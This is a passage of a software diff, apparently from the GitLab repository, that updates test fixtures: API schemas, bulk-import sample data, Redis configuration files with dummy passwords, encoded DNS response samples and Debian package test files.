"description": { "type": ["string", "null"] },
"default_branch": { "type": ["string", "null"] },
"tag_list": { "type": "array" },
+ "topics": { "type": "array" },
"ssh_url_to_repo": { "type": "string" },
"http_url_to_repo": { "type": "string" },
"web_url": { "type": "string" },
diff --git a/spec/fixtures/api/schemas/public_api/v4/label_basic.json b/spec/fixtures/api/schemas/public_api/v4/label_basic.json
index a4653c67ed2..a501bc2ec56 100644
--- a/spec/fixtures/api/schemas/public_api/v4/label_basic.json
+++ b/spec/fixtures/api/schemas/public_api/v4/label_basic.json
@@ -6,8 +6,7 @@
"color",
"description",
"description_html",
- "text_color",
- "remove_on_close"
+ "text_color"
],
"properties": {
"id": { "type": "integer" },
@@ -21,8 +20,7 @@
"text_color": {
"type": "string",
"pattern": "^#[0-9A-Fa-f]{3}{1,2}$"
- },
- "remove_on_close": { "type": "boolean" }
+ }
},
"additionalProperties": false
}
diff --git a/spec/fixtures/api/schemas/public_api/v4/project.json b/spec/fixtures/api/schemas/public_api/v4/project.json
index 4a3149f2bdc..2f708538d96 100644
--- a/spec/fixtures/api/schemas/public_api/v4/project.json
+++ b/spec/fixtures/api/schemas/public_api/v4/project.json
@@ -15,6 +15,12 @@
"type": "string"
}
},
+ "topics": {
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ },
"ssh_url_to_repo": { "type": "string" },
"http_url_to_repo": { "type": "string" },
"web_url": { "type": "string" },
@@ -37,7 +43,7 @@
},
"required": [
"id", "name", "name_with_namespace", "description", "path",
- "path_with_namespace", "created_at", "default_branch", "tag_list",
+ "path_with_namespace", "created_at", "default_branch", "tag_list", "topics",
"ssh_url_to_repo", "http_url_to_repo", "web_url", "readme_url", "avatar_url",
"star_count", "forks_count", "last_activity_at", "namespace"
],
diff --git a/spec/fixtures/bulk_imports/boards.ndjson b/spec/fixtures/bulk_imports/boards.ndjson
new file mode 100644
index 00000000000..a3e28584ff5
--- /dev/null
+++ b/spec/fixtures/bulk_imports/boards.ndjson
@@ -0,0 +1 @@
+{"id":173,"project_id":null,"created_at":"2020-02-11T14:35:51.561Z","updated_at":"2020-02-11T14:35:51.561Z","name":"first board","milestone_id":null,"group_id":4351,"weight":null,"lists":[{"id":189,"board_id":173,"label_id":271,"list_type":"label","position":0,"created_at":"2020-02-11T14:35:57.131Z","updated_at":"2020-02-11T14:35:57.131Z","user_id":null,"milestone_id":null,"max_issue_count":0,"max_issue_weight":0,"label":{"id":271,"title":"TSL","color":"#58796f","project_id":null,"created_at":"2019-11-20T17:02:20.541Z","updated_at":"2020-02-06T15:44:52.048Z","template":false,"description":null,"group_id":4351,"type":"GroupLabel","priorities":[]},"board":{"id":173,"project_id":null,"created_at":"2020-02-11T14:35:51.561Z","updated_at":"2020-02-11T14:35:51.561Z","name":"hi","milestone_id":null,"group_id":4351,"weight":null}},{"id":190,"board_id":173,"label_id":272,"list_type":"label","position":1,"created_at":"2020-02-11T14:35:57.868Z","updated_at":"2020-02-11T14:35:57.868Z","user_id":null,"milestone_id":null,"max_issue_count":0,"max_issue_weight":0,"label":{"id":272,"title":"Sosync","color":"#110320","project_id":null,"created_at":"2019-11-20T17:02:20.532Z","updated_at":"2020-02-06T15:44:52.057Z","template":false,"description":null,"group_id":4351,"type":"GroupLabel","priorities":[]},"board":{"id":173,"project_id":null,"created_at":"2020-02-11T14:35:51.561Z","updated_at":"2020-02-11T14:35:51.561Z","name":"hi","milestone_id":null,"group_id":4351,"weight":null}},{"id":188,"board_id":173,"label_id":null,"list_type":"closed","position":null,"created_at":"2020-02-11T14:35:51.593Z","updated_at":"2020-02-11T14:35:51.593Z","user_id":null,"milestone_id":null,"max_issue_count":0,"max_issue_weight":0}],"labels":[]}
diff --git a/spec/fixtures/bulk_imports/gz/boards.ndjson.gz b/spec/fixtures/bulk_imports/gz/boards.ndjson.gz
new file mode 100644
index 00000000000..294ef04db88
--- /dev/null
+++ b/spec/fixtures/bulk_imports/gz/boards.ndjson.gz
Binary files differ
diff --git a/spec/fixtures/bulk_imports/labels.ndjson.gz b/spec/fixtures/bulk_imports/gz/labels.ndjson.gz
index 6bb10a53346..6bb10a53346 100644
--- a/spec/fixtures/bulk_imports/labels.ndjson.gz
+++ b/spec/fixtures/bulk_imports/gz/labels.ndjson.gz
Binary files differ
diff --git a/spec/fixtures/bulk_imports/gz/milestones.ndjson.gz b/spec/fixtures/bulk_imports/gz/milestones.ndjson.gz
new file mode 100644
index 00000000000..f959cd7a0bd
--- /dev/null
+++ b/spec/fixtures/bulk_imports/gz/milestones.ndjson.gz
Binary files differ
diff --git a/spec/fixtures/bulk_imports/labels.ndjson b/spec/fixtures/bulk_imports/labels.ndjson
new file mode 100644
index 00000000000..c7d31d7cbbe
--- /dev/null
+++ b/spec/fixtures/bulk_imports/labels.ndjson
@@ -0,0 +1 @@
+{"id":111,"title":"Label 1","color":"#6699cc","project_id":null,"created_at":"2021-04-15T07:15:08.063Z","updated_at":"2021-04-15T07:15:08.063Z","template":false,"description":"Label 1","group_id":107,"type":"GroupLabel","priorities":[],"textColor":"#FFFFFF"}
diff --git a/spec/fixtures/bulk_imports/milestones.ndjson b/spec/fixtures/bulk_imports/milestones.ndjson
new file mode 100644
index 00000000000..40523f276e7
--- /dev/null
+++ b/spec/fixtures/bulk_imports/milestones.ndjson
@@ -0,0 +1,5 @@
+{"id":7642,"title":"v4.0","project_id":null,"description":"Et laudantium enim omnis ea reprehenderit iure.","due_date":null,"created_at":"2019-11-20T17:02:14.336Z","updated_at":"2019-11-20T17:02:14.336Z","state":"closed","iid":5,"start_date":null,"group_id":4351}
+{"id":7641,"title":"v3.0","project_id":null,"description":"Et repellat culpa nemo consequatur ut reprehenderit.","due_date":null,"created_at":"2019-11-20T17:02:14.323Z","updated_at":"2019-11-20T17:02:14.323Z","state":"active","iid":4,"start_date":null,"group_id":4351}
+{"id":7640,"title":"v2.0","project_id":null,"description":"Velit cupiditate est neque voluptates iste rem sunt.","due_date":null,"created_at":"2019-11-20T17:02:14.309Z","updated_at":"2019-11-20T17:02:14.309Z","state":"active","iid":3,"start_date":null,"group_id":4351}
+{"id":7639,"title":"v1.0","project_id":null,"description":"Amet velit repellat ut rerum aut cum.","due_date":null,"created_at":"2019-11-20T17:02:14.296Z","updated_at":"2019-11-20T17:02:14.296Z","state":"active","iid":2,"start_date":null,"group_id":4351}
+{"id":7638,"title":"v0.0","project_id":null,"description":"Ea quia asperiores ut modi dolorem sunt non numquam.","due_date":null,"created_at":"2019-11-20T17:02:14.282Z","updated_at":"2019-11-20T17:02:14.282Z","state":"active","iid":1,"start_date":null,"group_id":4351}
diff --git a/spec/fixtures/config/redis_cache_config_with_env.yml b/spec/fixtures/config/redis_cache_config_with_env.yml
deleted file mode 100644
index 52fd5a06460..00000000000
--- a/spec/fixtures/config/redis_cache_config_with_env.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-test:
- url: <%= ENV['TEST_GITLAB_REDIS_CACHE_URL'] %>
diff --git a/spec/fixtures/config/redis_cache_new_format_host.yml b/spec/fixtures/config/redis_cache_new_format_host.yml
deleted file mode 100644
index 02b9e7384ac..00000000000
--- a/spec/fixtures/config/redis_cache_new_format_host.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development:
- url: redis://:mynewpassword@localhost:6380/10
- sentinels:
- -
- host: localhost
- port: 26380 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26380 # point to sentinel, not to redis port
-test:
- url: redis://:mynewpassword@localhost:6380/10
- sentinels:
- -
- host: localhost
- port: 26380 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26380 # point to sentinel, not to redis port
-production:
- url: redis://:mynewpassword@localhost:6380/10
- sentinels:
- -
- host: replica1
- port: 26380 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26380 # point to sentinel, not to redis port
diff --git a/spec/fixtures/config/redis_cache_new_format_socket.yml b/spec/fixtures/config/redis_cache_new_format_socket.yml
deleted file mode 100644
index 3634c550163..00000000000
--- a/spec/fixtures/config/redis_cache_new_format_socket.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-development:
- url: unix:/path/to/redis.cache.sock
-test:
- url: unix:/path/to/redis.cache.sock
-production:
- url: unix:/path/to/redis.cache.sock
diff --git a/spec/fixtures/config/redis_cache_old_format_host.yml b/spec/fixtures/config/redis_cache_old_format_host.yml
deleted file mode 100644
index 3609dcd022e..00000000000
--- a/spec/fixtures/config/redis_cache_old_format_host.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development: redis://:mypassword@localhost:6380/10
-test: redis://:mypassword@localhost:6380/10
-production: redis://:mypassword@localhost:6380/10
diff --git a/spec/fixtures/config/redis_cache_old_format_socket.yml b/spec/fixtures/config/redis_cache_old_format_socket.yml
deleted file mode 100644
index 26fa0eda245..00000000000
--- a/spec/fixtures/config/redis_cache_old_format_socket.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-development: unix:/path/to/old/redis.cache.sock
-test: unix:/path/to/old/redis.cache.sock
-production: unix:/path/to/old/redis.cache.sock
diff --git a/spec/fixtures/config/redis_new_format_host.yml b/spec/fixtures/config/redis_new_format_host.yml
index dc8d74c63fa..3bd91bcee6b 100644
--- a/spec/fixtures/config/redis_new_format_host.yml
+++ b/spec/fixtures/config/redis_new_format_host.yml
@@ -1,29 +1,29 @@
# redis://[:password@]host[:port][/db-number][?option=value]
# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
development:
- url: redis://:mynewpassword@localhost:6379/99
+ url: redis://:mynewpassword@development-host:6379/99
sentinels:
-
- host: localhost
+ host: development-replica1
port: 26379 # point to sentinel, not to redis port
-
- host: replica2
+ host: development-replica2
port: 26379 # point to sentinel, not to redis port
test:
- url: redis://:mynewpassword@localhost:6379/99
+ url: redis://:mynewpassword@test-host:6379/99
sentinels:
-
- host: localhost
+ host: test-replica1
port: 26379 # point to sentinel, not to redis port
-
- host: replica2
+ host: test-replica2
port: 26379 # point to sentinel, not to redis port
production:
- url: redis://:mynewpassword@localhost:6379/99
+ url: redis://:mynewpassword@production-host:6379/99
sentinels:
-
- host: replica1
+ host: production-replica1
port: 26379 # point to sentinel, not to redis port
-
- host: replica2
+ host: production-replica2
port: 26379 # point to sentinel, not to redis port
diff --git a/spec/fixtures/config/redis_queues_config_with_env.yml b/spec/fixtures/config/redis_queues_config_with_env.yml
deleted file mode 100644
index d16a9d8a7f8..00000000000
--- a/spec/fixtures/config/redis_queues_config_with_env.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-test:
- url: <%= ENV['TEST_GITLAB_REDIS_QUEUES_URL'] %>
diff --git a/spec/fixtures/config/redis_queues_new_format_host.yml b/spec/fixtures/config/redis_queues_new_format_host.yml
deleted file mode 100644
index bd0d82a5066..00000000000
--- a/spec/fixtures/config/redis_queues_new_format_host.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development:
- url: redis://:mynewpassword@localhost:6381/11
- sentinels:
- -
- host: localhost
- port: 26381 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26381 # point to sentinel, not to redis port
-test:
- url: redis://:mynewpassword@localhost:6381/11
- sentinels:
- -
- host: localhost
- port: 26381 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26381 # point to sentinel, not to redis port
-production:
- url: redis://:mynewpassword@localhost:6381/11
- sentinels:
- -
- host: replica1
- port: 26381 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26381 # point to sentinel, not to redis port
diff --git a/spec/fixtures/config/redis_queues_new_format_socket.yml b/spec/fixtures/config/redis_queues_new_format_socket.yml
deleted file mode 100644
index b488d84d022..00000000000
--- a/spec/fixtures/config/redis_queues_new_format_socket.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-development:
- url: unix:/path/to/redis.queues.sock
-test:
- url: unix:/path/to/redis.queues.sock
-production:
- url: unix:/path/to/redis.queues.sock
diff --git a/spec/fixtures/config/redis_queues_old_format_host.yml b/spec/fixtures/config/redis_queues_old_format_host.yml
deleted file mode 100644
index 6531748a8d7..00000000000
--- a/spec/fixtures/config/redis_queues_old_format_host.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development: redis://:mypassword@localhost:6381/11
-test: redis://:mypassword@localhost:6381/11
-production: redis://:mypassword@localhost:6381/11
diff --git a/spec/fixtures/config/redis_queues_old_format_socket.yml b/spec/fixtures/config/redis_queues_old_format_socket.yml
deleted file mode 100644
index 53f5db72758..00000000000
--- a/spec/fixtures/config/redis_queues_old_format_socket.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-development: unix:/path/to/old/redis.queues.sock
-test: unix:/path/to/old/redis.queues.sock
-production: unix:/path/to/old/redis.queues.sock
diff --git a/spec/fixtures/config/redis_shared_state_config_with_env.yml b/spec/fixtures/config/redis_shared_state_config_with_env.yml
deleted file mode 100644
index eab7203d0de..00000000000
--- a/spec/fixtures/config/redis_shared_state_config_with_env.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-test:
- url: <%= ENV['TEST_GITLAB_REDIS_SHARED_STATE_URL'] %>
diff --git a/spec/fixtures/config/redis_shared_state_new_format_host.yml b/spec/fixtures/config/redis_shared_state_new_format_host.yml
deleted file mode 100644
index 1c690567ae9..00000000000
--- a/spec/fixtures/config/redis_shared_state_new_format_host.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development:
- url: redis://:mynewpassword@localhost:6382/12
- sentinels:
- -
- host: localhost
- port: 26382 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26382 # point to sentinel, not to redis port
-test:
- url: redis://:mynewpassword@localhost:6382/12
- sentinels:
- -
- host: localhost
- port: 26382 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26382 # point to sentinel, not to redis port
-production:
- url: redis://:mynewpassword@localhost:6382/12
- sentinels:
- -
- host: replica1
- port: 26382 # point to sentinel, not to redis port
- -
- host: replica2
- port: 26382 # point to sentinel, not to redis port
diff --git a/spec/fixtures/config/redis_shared_state_new_format_socket.yml b/spec/fixtures/config/redis_shared_state_new_format_socket.yml
deleted file mode 100644
index 1b0e699729e..00000000000
--- a/spec/fixtures/config/redis_shared_state_new_format_socket.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-development:
- url: unix:/path/to/redis.shared_state.sock
-test:
- url: unix:/path/to/redis.shared_state.sock
-production:
- url: unix:/path/to/redis.shared_state.sock
diff --git a/spec/fixtures/config/redis_shared_state_old_format_host.yml b/spec/fixtures/config/redis_shared_state_old_format_host.yml
deleted file mode 100644
index fef5e768c5d..00000000000
--- a/spec/fixtures/config/redis_shared_state_old_format_host.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# redis://[:password@]host[:port][/db-number][?option=value]
-# more details: http://www.iana.org/assignments/uri-schemes/prov/redis
-development: redis://:mypassword@localhost:6382/12
-test: redis://:mypassword@localhost:6382/12
-production: redis://:mypassword@localhost:6382/12
diff --git a/spec/fixtures/config/redis_shared_state_old_format_socket.yml b/spec/fixtures/config/redis_shared_state_old_format_socket.yml
deleted file mode 100644
index 4746afbb5ef..00000000000
--- a/spec/fixtures/config/redis_shared_state_old_format_socket.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-development: unix:/path/to/old/redis.shared_state.sock
-test: unix:/path/to/old/redis.shared_state.sock
-production: unix:/path/to/old/redis.shared_state.sock
diff --git a/spec/fixtures/dns/a_rr.json b/spec/fixtures/dns/a_rr.json
new file mode 100644
index 00000000000..44ea739cec4
--- /dev/null
+++ b/spec/fixtures/dns/a_rr.json
@@ -0,0 +1,4 @@
+{
+ "desc": "A response of a `dig patroni-02-db-gstg.node.east-us-2.consul. A` query",
+ "payload": "JJSFAAABAAEAAAABEnBhdHJvbmktMDItZGItZ3N0ZwRub2RlCWVhc3QtdXMt\nMgZjb25zdWwAAAEAAcAMAAEAAQAAAAAABArgHWbADAAQAAEAAAAAABgXY29u\nc3VsLW5ldHdvcmstc2VnbWVudD0=\n"
+}
diff --git a/spec/fixtures/dns/a_with_aaaa_rr_in_additional_section.json b/spec/fixtures/dns/a_with_aaaa_rr_in_additional_section.json
new file mode 100644
index 00000000000..9d83d4caa2d
--- /dev/null
+++ b/spec/fixtures/dns/a_with_aaaa_rr_in_additional_section.json
@@ -0,0 +1,4 @@
+{
+ "desc": "A response of `dig google.com` query that contains AAAA records in additional section",
+ "payload": "YQiBgAABAAEADQAbBmdvb2dsZQNjb20AAAEAAcAMAAEAAQAAAOEABKzZFE7AEwACAAEAAAjmABQB\nagxndGxkLXNlcnZlcnMDbmV0AMATAAIAAQAACOYABAFrwDrAEwACAAEAAAjmAAQBYcA6wBMAAgAB\nAAAI5gAEAWXAOsATAAIAAQAACOYABAFmwDrAEwACAAEAAAjmAAQBbMA6wBMAAgABAAAI5gAEAWPA\nOsATAAIAAQAACOYABAFowDrAEwACAAEAAAjmAAQBbcA6wBMAAgABAAAI5gAEAWfAOsATAAIAAQAA\nCOYABAFkwDrAEwACAAEAAAjmAAQBacA6wBMAAgABAAAI5gAEAWLAOsBoAAEAAQAACOYABMAFBh7A\naAAcAAEAAAjmABAgAQUDqD4AAAAAAAAAAgAwwQgAAQABAAAI5gAEwCEOHsEIABwAAQAACOYAECAB\nBQMjHQAAAAAAAAACADDAqAABAAEAAAjmAATAGlwewKgAHAABAAAI5gAQIAEFA4PrAAAAAAAAAAAA\nMMDoAAEAAQAACOYABMAfUB7A6AAcAAEAAAjmABAgAQUAhW4AAAAAAAAAAAAwwHgAAQABAAAI5gAE\nwAxeHsB4ABwAAQAACOYAECABBQIcoQAAAAAAAAAAADDAiAABAAEAAAjmAATAIzMewIgAHAABAAAI\n5gAQIAEFA9QUAAAAAAAAAAAAMMDYAAEAAQAACOYABMAqXR7A2AAcAAEAAAjmABAgAQUD7qMAAAAA\nAAAAAAAwwLgAAQABAAAI5gAEwDZwHsC4ABwAAQAACOYAECABBQIIzAAAAAAAAAAAADDA+AABAAEA\nAAjmAATAK6wewPgAHAABAAAI5gAQIAEFAznBAAAAAAAAAAAAMMA4AAEAAQAACOYABMAwTx7AOAAc\nAAEAAAjmABAgAQUCcJQAAAAAAAAAAAAwwFgAAQABAAAI5gAEwDSyHsBYABwAAQAACOYAECABBQMN\nLQAAAAAAAAAAADDAmAABAAEAAAjmAATAKaIewJgAHAABAAAI5gAQIAEFANk3AAAAAAAAAAAAMMDI\nAAEAAQAACOYABMA3Ux7AyAAcAAEAAAjmABAgAQUBsfkAAAAAAAAAAAAwAAApEAAAAAAAAAA=\n"
+}
diff --git a/spec/fixtures/dns/aaaa_rr.json b/spec/fixtures/dns/aaaa_rr.json
new file mode 100644
index 00000000000..ae06e5255de
--- /dev/null
+++ b/spec/fixtures/dns/aaaa_rr.json
@@ -0,0 +1,4 @@
+{
+ "desc": "A response of `dig google.com AAAA` query",
+ "payload": "PA+BgAABAAEADQAbBmdvb2dsZQNjb20AABwAAcAMABwAAQAAASwAECoAFFBA\nDggKAAAAAAAAIA7AEwACAAEAAAFMABQBYgxndGxkLXNlcnZlcnMDbmV0AMAT\nAAIAAQAAAUwABAFtwEbAEwACAAEAAAFMAAQBY8BGwBMAAgABAAABTAAEAWbA\nRsATAAIAAQAAAUwABAFnwEbAEwACAAEAAAFMAAQBa8BGwBMAAgABAAABTAAE\nAWXARsATAAIAAQAAAUwABAFqwEbAEwACAAEAAAFMAAQBZMBGwBMAAgABAAAB\nTAAEAWnARsATAAIAAQAAAUwABAFhwEbAEwACAAEAAAFMAAQBbMBGwBMAAgAB\nAAABTAAEAWjARsD0AAEAAQAAAUwABMAFBh7A9AAcAAEAAAFMABAgAQUDqD4A\nAAAAAAAAAgAwwEQAAQABAAABTAAEwCEOHsBEABwAAQAAAUwAECABBQMjHQAA\nAAAAAAACADDAdAABAAEAAAFMAATAGlwewHQAHAABAAABTAAQIAEFA4PrAAAA\nAAAAAAAAMMDUAAEAAQAAAUwABMAfUB7A1AAcAAEAAAFMABAgAQUAhW4AAAAA\nAAAAAAAwwLQAAQABAAABTAAEwAxeHsC0ABwAAQAAAUwAECABBQIcoQAAAAAA\nAAAAADDAhAABAAEAAAFMAATAIzMewIQAHAABAAABTAAQIAEFA9QUAAAAAAAA\nAAAAMMCUAAEAAQAAAUwABMAqXR7AlAAcAAEAAAFMABAgAQUD7qMAAAAAAAAA\nAAAwwRQAAQABAAABTAAEwDZwHsEUABwAAQAAAUwAECABBQIIzAAAAAAAAAAA\nADDA5AABAAEAAAFMAATAK6wewOQAHAABAAABTAAQIAEFAznBAAAAAAAAAAAA\nMMDEAAEAAQAAAUwABMAwTx7AxAAcAAEAAAFMABAgAQUCcJQAAAAAAAAAAAAw\nwKQAAQABAAABTAAEwDSyHsCkABwAAQAAAUwAECABBQMNLQAAAAAAAAAAADDB\nBAABAAEAAAFMAATAKaIewQQAHAABAAABTAAQIAEFANk3AAAAAAAAAAAAMMBk\nAAEAAQAAAUwABMA3Ux7AZAAcAAEAAAFMABAgAQUBsfkAAAAAAAAAAAAwAAAp\nEAAAAAAAAAA=\n"
+}
diff --git a/spec/fixtures/dns/srv_with_a_rr_in_additional_section.json b/spec/fixtures/dns/srv_with_a_rr_in_additional_section.json
new file mode 100644
index 00000000000..97db149ad8e
--- /dev/null
+++ b/spec/fixtures/dns/srv_with_a_rr_in_additional_section.json
@@ -0,0 +1,4 @@
+{
+ "desc": "A response of `dig replica.patroni.service.consul. SRV` query that contains A records in additional section",
+ "payload": "y8uFAAABAAQAAAAIB3JlcGxpY2EHcGF0cm9uaQdzZXJ2aWNlBmNvbnN1bAAA\nIQABwAwAIQABAAAAAAAwAAEAAQAAEnBhdHJvbmktMDQtZGItZ3N0ZwRub2Rl\nCWVhc3QtdXMtMgZjb25zdWwAwAwAIQABAAAAAAAwAAEAAQAAEnBhdHJvbmkt\nMDUtZGItZ3N0ZwRub2RlCWVhc3QtdXMtMgZjb25zdWwAwAwAIQABAAAAAAAw\nAAEAAQAAEnBhdHJvbmktMDItZGItZ3N0ZwRub2RlCWVhc3QtdXMtMgZjb25z\ndWwAwAwAIQABAAAAAAAwAAEAAQAAEnBhdHJvbmktMDMtZGItZ3N0ZwRub2Rl\nCWVhc3QtdXMtMgZjb25zdWwAwEIAAQABAAAAAAAECuAdaMBCABAAAQAAAAAA\nGBdjb25zdWwtbmV0d29yay1zZWdtZW50PcB+AAEAAQAAAAAABArgHWnAfgAQ\nAAEAAAAAABgXY29uc3VsLW5ldHdvcmstc2VnbWVudD3AugABAAEAAAAAAAQK\n4B1mwLoAEAABAAAAAAAYF2NvbnN1bC1uZXR3b3JrLXNlZ21lbnQ9wPYAAQAB\nAAAAAAAECuAdZ8D2ABAAAQAAAAAAGBdjb25zdWwtbmV0d29yay1zZWdtZW50\nPQ==\n"
+}
diff --git a/spec/fixtures/helm/helm_list_v2_cilium_deployed.json.gz b/spec/fixtures/helm/helm_list_v2_cilium_deployed.json.gz
deleted file mode 100644
index a343356c95c..00000000000
--- a/spec/fixtures/helm/helm_list_v2_cilium_deployed.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_cilium_failed.json.gz b/spec/fixtures/helm/helm_list_v2_cilium_failed.json.gz
deleted file mode 100644
index f7faff2ca19..00000000000
--- a/spec/fixtures/helm/helm_list_v2_cilium_failed.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_cilium_missing.json.gz b/spec/fixtures/helm/helm_list_v2_cilium_missing.json.gz
deleted file mode 100644
index 20cac36287b..00000000000
--- a/spec/fixtures/helm/helm_list_v2_cilium_missing.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_empty_blob.json.gz b/spec/fixtures/helm/helm_list_v2_empty_blob.json.gz
deleted file mode 100644
index 5647f052c3b..00000000000
--- a/spec/fixtures/helm/helm_list_v2_empty_blob.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_prometheus_deployed.json.gz b/spec/fixtures/helm/helm_list_v2_prometheus_deployed.json.gz
deleted file mode 100644
index bcbbba8dc00..00000000000
--- a/spec/fixtures/helm/helm_list_v2_prometheus_deployed.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_prometheus_failed.json.gz b/spec/fixtures/helm/helm_list_v2_prometheus_failed.json.gz
deleted file mode 100644
index 0b39b42bdfa..00000000000
--- a/spec/fixtures/helm/helm_list_v2_prometheus_failed.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz b/spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz
deleted file mode 100644
index 20cac36287b..00000000000
--- a/spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz
+++ /dev/null
Binary files differ
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
index 90d395e1eda..f694e617320 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
@@ -12,6 +12,7 @@ milestone: "13.9"
introduced_by_url:
time_frame: 7d
data_source:
+data_category: Operational
distribution:
- ce
# Add here corresponding tiers
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
index c51b5bf6e01..5cebfbcbad9 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
@@ -12,6 +12,7 @@ milestone: "13.9"
introduced_by_url:
time_frame: 7d
data_source:
+data_category: Operational
distribution:
- ee
tier:
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
index c1ed9783308..d448e7bf3f6 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
@@ -13,6 +13,7 @@ milestone: "13.9"
introduced_by_url:
time_frame: 7d
data_source:
+data_category: Operational
distribution:
- ce
- ee
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric.rb b/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric.rb
new file mode 100644
index 00000000000..9816ff7c9eb
--- /dev/null
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class CountFooMetric < RedisHLLMetric
+ def value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric_test.rb b/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric_test.rb
new file mode 100644
index 00000000000..bc7df779a58
--- /dev/null
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric_test.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CountFooMetric do
+ it_behaves_like 'a correct instrumented metric value', {}, 1
+end
diff --git a/spec/fixtures/packages/debian/sample-dev_1.2.3~binary_amd64.deb b/spec/fixtures/packages/debian/sample-dev_1.2.3~binary_amd64.deb
index 70567d75265..68c7f2813fb 100644
--- a/spec/fixtures/packages/debian/sample-dev_1.2.3~binary_amd64.deb
+++ b/spec/fixtures/packages/debian/sample-dev_1.2.3~binary_amd64.deb
Binary files differ
diff --git a/spec/fixtures/packages/debian/sample/debian/control b/spec/fixtures/packages/debian/sample/debian/control
index 168d8e20d62..26d84e1c35d 100644
--- a/spec/fixtures/packages/debian/sample/debian/control
+++ b/spec/fixtures/packages/debian/sample/debian/control
@@ -14,7 +14,7 @@ Section: libdevel
Architecture: any
Multi-Arch: same
Depends: libsample0 (= ${binary:Version}), ${misc:Depends}
-Description: Some mostly empty developpement files
+Description: Some mostly empty development files
Used in GitLab tests.
.
Testing another paragraph.
diff --git a/spec/fixtures/packages/debian/sample_1.2.3~alpha2.dsc b/spec/fixtures/packages/debian/sample_1.2.3~alpha2.dsc
index 164d4755ed4..4a5755cd612 100644
--- a/spec/fixtures/packages/debian/sample_1.2.3~alpha2.dsc
+++ b/spec/fixtures/packages/debian/sample_1.2.3~alpha2.dsc
@@ -12,8 +12,8 @@ Package-List:
sample-dev deb libdevel optional arch=any
sample-udeb udeb libs optional arch=any
Checksums-Sha1:
- 5f8bba5574eb01ac3b1f5e2988e8c29307788236 864 sample_1.2.3~alpha2.tar.xz
+ c5cfc111ea924842a89a06d5673f07dfd07de8ca 864 sample_1.2.3~alpha2.tar.xz
Checksums-Sha256:
- b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362 864 sample_1.2.3~alpha2.tar.xz
